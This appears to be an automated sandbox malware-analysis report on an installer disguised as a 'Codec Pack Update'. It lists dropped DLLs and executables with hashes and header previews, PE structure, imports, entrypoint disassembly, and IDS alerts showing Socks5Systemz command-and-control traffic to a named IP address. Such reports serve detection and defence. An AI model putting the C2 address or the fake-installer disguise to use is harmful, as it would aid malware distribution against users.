SHA-512:	CD1A981D5281E8B2E6A8C27A57CDB65ED1498DE21D2B7A62EDC945FB380DEA258F47A9EC9E53BD43D603297635EDFCA95EBCB2A962812CD53C310831242384B8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...........8......#...#.b........................tm......................... ......z.....@... .........................E....................................................................w.......................................................text....a.......b..................`.P`.data...P............f..............@.P..rdata...............h..............@.`@/4...............0...Z..............@.0@.bss..................................0..edata..E...........................@.0@.idata..............................@.0..CRT....,...........................@.0..tls................................@.0..reloc..............................@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Codec Pack Update\libwinpthread-1.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	68552
Entropy (8bit):	6.1042544770100395
Encrypted:	false
SSDEEP:	768:Jd8ALXCfP6bO/XfLCwiWBot9ZOGLuNTizPm3YRiFVinPHF:X8fq+X9OjZ2APm3YeinPl
MD5:	F06B0761D27B9E69A8F1220846FF12AF
SHA1:	E3A2F4F12A5291EE8DDC7A185DB2699BFFADFE1A
SHA-256:	E85AECC40854203B4A2F4A0249F875673E881119181E3DF2968491E31AD372A4
SHA-512:	5821EA0084524569E07BB18AA2999E3193C97AA52DA6932A7971A61DD03D0F08CA9A2D4F98EB96A603B99F65171F6D495D3E8F2BBB2FC90469C741EF11B514E9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...........V......#...$...........................d................................Y_....@... ..............................0..t....`..P....................p..............................`........................1..H............................text..............................`.P`.data...L...........................@.0..rdata..............................@.0@/4......,3.......4..................@.0@.bss..................................0..edata..............................@.0@.idata..t....0......................@.0..CRT....0....@......................@.0..tls.........P......................@.0..rsrc...P....`......................@.0..reloc.......p......................@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Codec Pack Update\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp
File Type:	InnoSetup Log Codec Pack Update, version 0x30, 4672 bytes, 098239\user, "C:\Users\user\AppData\Local\Codec Pack Update"
Category:	dropped
Size (bytes):	4672
Entropy (8bit):	4.69622146446918
Encrypted:	false
SSDEEP:	96:IjdWK38Xp/kOgVx9n+eOIhndI4cVSQs0LnVG:mdWK38p//WKHIhd9cVSQ1nM
MD5:	54A2A8875B4AD5973EC4D4483B48DFC3
SHA1:	E03CB590D75DECCDB02CC1F75A819D8AAF2ACBB5
SHA-256:	14330DA6216F8CD829AC3E871C4F321FB7828E4932C2D05BC759FB46F58B5DB3
SHA-512:	CF56FF46DE89B1773C3AB5C3F5F3E312AC9C4E80EC39957EA96B93E54D2EFFA7C59AE89C7B691524661AACF397FD7E1ADB6226A4E505EB2000EE686C27E39B53
Malicious:	false
Preview:	Inno Setup Uninstall Log (b)....................................Codec Pack Update...............................................................................................................Codec Pack Update...............................................................................................................0.......@...%.................................................................................................................".........Q..k......N....098239.user.C:\Users\user\AppData\Local\Codec Pack Update...........9.8.... .....1......IFPS.............................................................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TPASSWORDEDIT....TPASSWORDEDIT...........................................!MAIN....-1..(...dll:kernel32.dll.CreateFileA..............$...dll:kernel32.dll.WriteFile............"...dll:kernel32.dll.CloseHandle........"...dll:kernel32.dll.ExitProcess........%...dll:User32.d

C:\Users\user\AppData\Local\Codec Pack Update\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	704282
Entropy (8bit):	6.476111921428066
Encrypted:	false
SSDEEP:	12288:dhg/qrLc0yVrPg37AzHqA63JJVndjzrN6IRpOA+u1nWXExydV:o/qrQ0yVrPg37AzHqA6Zfn0A3NWXExyL
MD5:	8FB0A35B2C5618B9AF54186692C1D885
SHA1:	317FD5BEE39CD02BC6229E437489ECF5C00424DD
SHA-256:	CD8F08AC8C519080D19CD9B8926A1B8061BF5ECB526E4A6DC3E7392149D29DF4
SHA-512:	DFA2328C202E37821E297BA6A25B44C958EACDA4191502BC255F819F6B2D0A845A248A6951EDC07E7AE36E6B6397B6025D06D8D0B164A01F96C56D0215646CF8
Malicious:	true
Antivirus:	Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*............................,).......0....@..............................................@...........................`...%...@...>..........................................................................................................CODE....\........................... ..`DATA.........0....... ..............@...BSS..........@.......0...................idata...%...`...&...0..............@....tls.................V...................rdata...............V..............@..P.reloc..l...........................@..P.rsrc....>...@...>...X..............@..P....................................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp

Download File

Process:	C:\Users\user\Desktop\0RWRPBSuDx.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	693760
Entropy (8bit):	6.467804610296463
Encrypted:	false
SSDEEP:	12288:lhg/qrLc0yVrPg37AzHqA63JJVndjzrN6IRpOA+u1nWXExyd:A/qrQ0yVrPg37AzHqA6Zfn0A3NWXExyd
MD5:	D8E53E1B8EA1B12BC3F40BB9F8B14F38
SHA1:	0A0D2B30DA9F9A7F92721AD517087AAA3FDB7278
SHA-256:	715726ACBFE23EC2E9651B187888C25BEA815CC49933A6CEF1E2110D07E736EB
SHA-512:	7DBE3AFF2FFD5EB5A424DBECCE6340CB304C7940CC9C758F441E00C485D301A7B74435689E26DB32CADDD66DB3DDC91CC76B008E1A4C5CE10FE2AC1A4437D947
Malicious:	true
Antivirus:	Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*............................,).......0....@..............................................@...........................`...%...@...>..........................................................................................................CODE....\........................... ..`DATA.........0....... ..............@...BSS..........@.......0...................idata...%...`...&...0..............@....tls.................V...................rdata...............V..............@..P.reloc..l...........................@..P.rsrc....>...@...>...X..............@..P....................................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-KVG27.tmp\_isetup\_RegDLL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	4.026670007889822
Encrypted:	false
SSDEEP:	48:ivuz1hEU3FR/pmqBl8/QMCBaquEMx5BC+SS4k+bkguj0KHc:bz1eEFNcqBC/Qrex5iSKDkc
MD5:	0EE914C6F0BB93996C75941E1AD629C6
SHA1:	12E2CB05506EE3E82046C41510F39A258A5E5549
SHA-256:	4DC09BAC0613590F1FAC8771D18AF5BE25A1E1CB8FDBF4031AA364F3057E74A2
SHA-512:	A899519E78125C69DC40F7E371310516CF8FAA69E3B3FF747E0DDF461F34E50A9FF331AB53B4D07BB45465039E8EBA2EE4684B3EE56987977AE8C7721751F5F9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 3%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................H................\|.......\|.......\|......Rich............PE..L....M;J..................................... ....@..........................@..............................................l ..P....0..@............................................................................ ..D............................text............................... ..`.rdata....... ......................@..@.rsrc...@....0......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-KVG27.tmp\_isetup\_iscrypt.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	2.8818118453929262
Encrypted:	false
SSDEEP:	24:e1GSgDIX566lIB6SXvVmMPUjvhBrDsqZ:SgDKRlVImgUNBsG
MD5:	A69559718AB506675E907FE49DEB71E9
SHA1:	BC8F404FFDB1960B50C12FF9413C893B56F2E36F
SHA-256:	2F6294F9AA09F59A574B5DCD33BE54E16B39377984F3D5658CDA44950FA0F8FC
SHA-512:	E52E0AA7FE3F79E36330C455D944653D449BA05B2F9ABEE0914A0910C3452CFA679A40441F9AC696B3CCF9445CBB85095747E86153402FC362BB30AC08249A63
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 1%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.c.W.c.W.c...>.T.c.W.b.V.c.R.<.V.c.R.?.V.c.R.9.V.c.RichW.c.........................PE..L....b.@...........!......................... ...............................@......................................p ..}.... ..(............................0....................................................... ...............................text............................... ..`.rdata....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-KVG27.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.215994423157539
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12pS5SKvkc:sfJEVYlvxaX12EF
MD5:	4FF75F505FDDCC6A9AE62216446205D9
SHA1:	EFE32D504CE72F32E92DCF01AA2752B04D81A342
SHA-256:	A4C86FC4836AC728D7BD96E7915090FD59521A9E74F1D06EF8E5A47C8695FD81
SHA-512:	BA0469851438212D19906D6DA8C4AE95FF1C0711A095D9F21F13530A6B8B21C3ACBB0FF55EDB8A35B41C1A9A342F5D3421C00BA395BC13BB1EF5902B979CE824
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d...XW:J..........#............................@.............................`..............................................................<!.......P..@....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...@....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-KVG27.tmp\_isetup\_shfoldr.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	23312
Entropy (8bit):	4.596242908851566
Encrypted:	false
SSDEEP:	384:+Vm08QoKkiWZ76UJuP71W55iWHHoSHigH2euwsHTGHVb+VHHmnH+aHjHqLHxmoq1:2m08QotiCjJuPGw4
MD5:	92DC6EF532FBB4A5C3201469A5B5EB63
SHA1:	3E89FF837147C16B4E41C30D6C796374E0B8E62C
SHA-256:	9884E9D1B4F8A873CCBD81F8AD0AE257776D2348D027D811A56475E028360D87
SHA-512:	9908E573921D5DBC3454A1C0A6C969AB8A81CC2E8B5385391D46B1A738FB06A76AA3282E0E58D0D2FFA6F27C85668CD5178E1500B8A39B1BBAE04366AE6A86D3
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......IzJ^..$...$...$...%.".$.T87...$.[."...$...$...$.Rich..$.........................PE..L.....\;...........#..... ...4.......'.......0.....q....................................................................k...l)..<....@.../...................p..T....................................................................................text...{........ .................. ..`.data...\....0.......&..............@....rsrc..../...@...0...(..............@..@.reloc.......p.......X..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.993652999413307
TrID:	Win32 Executable (generic) a (10002005/4) 98.86% Inno Setup installer (109748/4) 1.08% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02%
File name:	0RWRPBSuDx.exe
File size:	1'954'271 bytes
MD5:	d19197438a7371baaac62fec8dabb3d7
SHA1:	3252c13b0af9e6a71c11bf9ed37122b3d76064bd
SHA256:	e2de4097b80b8480f28f08bc4fc238dca38dbdcb6bbb0c77a83e3753cb03dcf7
SHA512:	7cb352f821f9dfd2fb9dfb2d8b804943ba08e1f428334e79f529a2aed7b66966e5310433b74b6f2870c7e1868668f24a8aa74f475ede929aa3b2d1482e57c8a7
SSDEEP:	49152:32Y1stnLQ9SkGvzb4siA0Wz3048WUKlvhFKpde2MDmrfyoZ:mrtnfI50d8Wtviqmr6oZ
TLSH:	7C953311F9285738E0297B304D06F3AA8933F952EE35256CA78D9B6C4F77125C50AFA3
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	2d2e3797b32b2b99

Static PE Info

General

Entrypoint:	0x409b24
Entrypoint Section:	CODE
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	1
OS Version Minor:	0
File Version Major:	1
File Version Minor:	0
Subsystem Version Major:	1
Subsystem Version Minor:	0
Import Hash:	884310b1928934402ea6fec1dbd3cf5e

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFC4h
push ebx
push esi
push edi
xor eax, eax
mov dword ptr [ebp-10h], eax
mov dword ptr [ebp-24h], eax
call 00007FC2A4D25B57h
call 00007FC2A4D26D5Eh
call 00007FC2A4D28F89h
call 00007FC2A4D28FD0h
call 00007FC2A4D2B8C3h
call 00007FC2A4D2BA2Ah
xor eax, eax
push ebp
push 0040A1DBh
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
xor edx, edx
push ebp
push 0040A1A4h
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
mov eax, dword ptr [0040C014h]
call 00007FC2A4D2C450h
call 00007FC2A4D2BFB7h
lea edx, dword ptr [ebp-10h]
xor eax, eax
call 00007FC2A4D295B9h
mov edx, dword ptr [ebp-10h]
mov eax, 0040CDE4h
call 00007FC2A4D25C08h
push 00000002h
push 00000000h
push 00000001h
mov ecx, dword ptr [0040CDE4h]
mov dl, 01h
mov eax, 004072ECh
call 00007FC2A4D29E48h
mov dword ptr [0040CDE8h], eax
xor edx, edx
push ebp
push 0040A15Ch
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
call 00007FC2A4D2C4C0h
mov dword ptr [0040CDF0h], eax
mov eax, dword ptr [0040CDF0h]
cmp dword ptr [eax+0Ch], 01h
jne 00007FC2A4D2C5FAh
mov eax, dword ptr [0040CDF0h]
mov edx, 00000028h
call 00007FC2A4D2A249h
mov edx, dword ptr [0040CDF0h]
cmp eax, dword ptr [edx+00h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xd000	0x950	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x11000	0x2c00	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xf000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x9244	0x9400	00d95da090f9b045cc52199c7b36d118	False	0.6099820523648649	data	6.529731839731562	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0xb000	0x24c	0x400	39d5f89b5ecafeb0fe902996045df0e7	False	0.3076171875	data	2.734702734719094	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0xc000	0xe48	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xd000	0x950	0xa00	bb5485bf968b970e5ea81292af2acdba	False	0.414453125	data	4.430733069799036	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0xe000	0x8	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xf000	0x18	0x200	9ba824905bf9c7922b6fc87a38b74366	False	0.052734375	data	0.2044881574398449	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0x10000	0x8b4	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0x11000	0x2c00	0x2c00	3c05f08b670faa404567ceb461718a1c	False	0.32279829545454547	data	4.462019412670872	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x11354	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	Dutch	Netherlands	0.5675675675675675
RT_ICON	0x1147c	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	Dutch	Netherlands	0.4486994219653179
RT_ICON	0x119e4	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	Dutch	Netherlands	0.4637096774193548
RT_ICON	0x11ccc	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152	Dutch	Netherlands	0.3935018050541516
RT_STRING	0x12574	0x2f2	data			0.35543766578249336
RT_STRING	0x12868	0x30c	data			0.3871794871794872
RT_STRING	0x12b74	0x2ce	data			0.42618384401114207
RT_STRING	0x12e44	0x68	data			0.75
RT_STRING	0x12eac	0xb4	data			0.6277777777777778
RT_STRING	0x12f60	0xae	data			0.5344827586206896
RT_RCDATA	0x13010	0x2c	data			1.2045454545454546
RT_GROUP_ICON	0x1303c	0x3e	data	English	United States	0.8387096774193549
RT_VERSION	0x1307c	0x4b8	COM executable for DOS	English	United States	0.2764900662251656
RT_MANIFEST	0x13534	0x560	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.4251453488372093

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, WideCharToMultiByte, TlsSetValue, TlsGetValue, MultiByteToWideChar, GetModuleHandleA, GetLastError, GetCommandLineA, WriteFile, SetFilePointer, SetEndOfFile, RtlUnwind, ReadFile, RaiseException, GetStdHandle, GetFileSize, GetSystemTime, GetFileType, ExitProcess, CreateFileA, CloseHandle
user32.dll	MessageBoxA
oleaut32.dll	VariantChangeTypeEx, VariantCopyInd, VariantClear, SysStringLen, SysAllocStringLen
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey, OpenProcessToken, LookupPrivilegeValueA
kernel32.dll	WriteFile, VirtualQuery, VirtualProtect, VirtualFree, VirtualAlloc, Sleep, SizeofResource, SetLastError, SetFilePointer, SetErrorMode, SetEndOfFile, RemoveDirectoryA, ReadFile, LockResource, LoadResource, LoadLibraryA, IsDBCSLeadByte, GetWindowsDirectoryA, GetVersionExA, GetUserDefaultLangID, GetSystemInfo, GetSystemDefaultLCID, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLastError, GetFullPathNameA, GetFileSize, GetFileAttributesA, GetExitCodeProcess, GetEnvironmentVariableA, GetCurrentProcess, GetCommandLineA, GetACP, InterlockedExchange, FormatMessageA, FindResourceA, DeleteFileA, CreateProcessA, CreateFileA, CreateDirectoryA, CloseHandle
user32.dll	TranslateMessage, SetWindowLongA, PeekMessageA, MsgWaitForMultipleObjects, MessageBoxA, LoadStringA, ExitWindowsEx, DispatchMessageA, DestroyWindow, CreateWindowExA, CallWindowProcA, CharPrevA
comctl32.dll	InitCommonControls
advapi32.dll	AdjustTokenPrivileges

Possible Origin

Language of compilation system	Country where language is spoken	Map
Dutch	Netherlands
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
03/29/24-12:59:10.764656	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49755	80	192.168.2.4	45.142.214.240
03/29/24-12:59:35.421196	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49787	80	192.168.2.4	45.142.214.240
03/29/24-12:59:59.675457	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49815	80	192.168.2.4	45.142.214.240
03/29/24-12:59:28.814022	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49778	80	192.168.2.4	45.142.214.240
03/29/24-12:58:58.279145	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49740	80	192.168.2.4	45.142.214.240
03/29/24-12:59:52.205310	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49806	80	192.168.2.4	45.142.214.240
03/29/24-12:59:48.200098	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49801	80	192.168.2.4	45.142.214.240
03/29/24-12:59:44.183959	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49796	80	192.168.2.4	45.142.214.240
03/29/24-12:59:29.458062	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49779	80	192.168.2.4	45.142.214.240
03/29/24-12:59:54.762452	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49810	80	192.168.2.4	45.142.214.240
03/29/24-12:59:25.184508	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49773	80	192.168.2.4	45.142.214.240
03/29/24-12:59:17.561359	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49763	80	192.168.2.4	45.142.214.240
03/29/24-12:59:32.211512	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49782	80	192.168.2.4	45.142.214.240
03/29/24-12:59:10.122007	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49754	80	192.168.2.4	45.142.214.240
03/29/24-12:59:21.394081	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49769	80	192.168.2.4	45.142.214.240
03/29/24-12:59:03.387980	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49746	80	192.168.2.4	45.142.214.240
03/29/24-12:59:37.749118	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49790	80	192.168.2.4	45.142.214.240
03/29/24-12:59:24.138039	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49772	80	192.168.2.4	45.142.214.240
03/29/24-12:59:47.153192	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49800	80	192.168.2.4	45.142.214.240
03/29/24-12:59:31.562211	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49781	80	192.168.2.4	45.142.214.240
03/29/24-12:59:18.201077	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49764	80	192.168.2.4	45.142.214.240
03/29/24-12:58:57.434224	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49736	80	192.168.2.4	45.142.214.240
03/29/24-12:59:25.828412	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49774	80	192.168.2.4	45.142.214.240
03/29/24-12:59:44.826160	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49797	80	192.168.2.4	45.142.214.240
03/29/24-12:59:38.599677	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49791	80	192.168.2.4	45.142.214.240
03/29/24-12:59:28.169308	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49777	80	192.168.2.4	45.142.214.240
03/29/24-12:59:32.211512	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49782	80	192.168.2.4	45.142.214.240
03/29/24-13:00:01.144442	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49817	80	192.168.2.4	45.142.214.240
03/29/24-12:59:11.403065	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49756	80	192.168.2.4	45.142.214.240
03/29/24-12:59:14.168811	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49759	80	192.168.2.4	45.142.214.240
03/29/24-12:59:45.464018	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49798	80	192.168.2.4	45.142.214.240
03/29/24-13:00:00.317751	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49816	80	192.168.2.4	45.142.214.240
03/29/24-12:59:48.200098	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49801	80	192.168.2.4	45.142.214.240
03/29/24-12:59:52.843294	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49807	80	192.168.2.4	45.142.214.240
03/29/24-12:59:17.561359	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49763	80	192.168.2.4	45.142.214.240
03/29/24-12:59:09.075777	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49753	80	192.168.2.4	45.142.214.240
03/29/24-12:59:23.090769	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49771	80	192.168.2.4	45.142.214.240
03/29/24-12:59:55.404429	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49811	80	192.168.2.4	45.142.214.240
03/29/24-12:59:36.058657	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49788	80	192.168.2.4	45.142.214.240
03/29/24-12:59:02.340536	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49745	80	192.168.2.4	45.142.214.240
03/29/24-12:59:39.978368	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49792	80	192.168.2.4	45.142.214.240
03/29/24-12:59:31.562211	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49781	80	192.168.2.4	45.142.214.240
03/29/24-12:59:00.626740	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49743	80	192.168.2.4	45.142.214.240
03/29/24-12:59:13.121896	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49758	80	192.168.2.4	45.142.214.240
03/29/24-12:59:24.138039	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49772	80	192.168.2.4	45.142.214.240
03/29/24-12:59:26.471385	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49775	80	192.168.2.4	45.142.214.240
03/29/24-12:59:39.978368	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49792	80	192.168.2.4	45.142.214.240
03/29/24-12:59:18.201077	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49764	80	192.168.2.4	45.142.214.240
03/29/24-12:59:19.483683	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49766	80	192.168.2.4	45.142.214.240
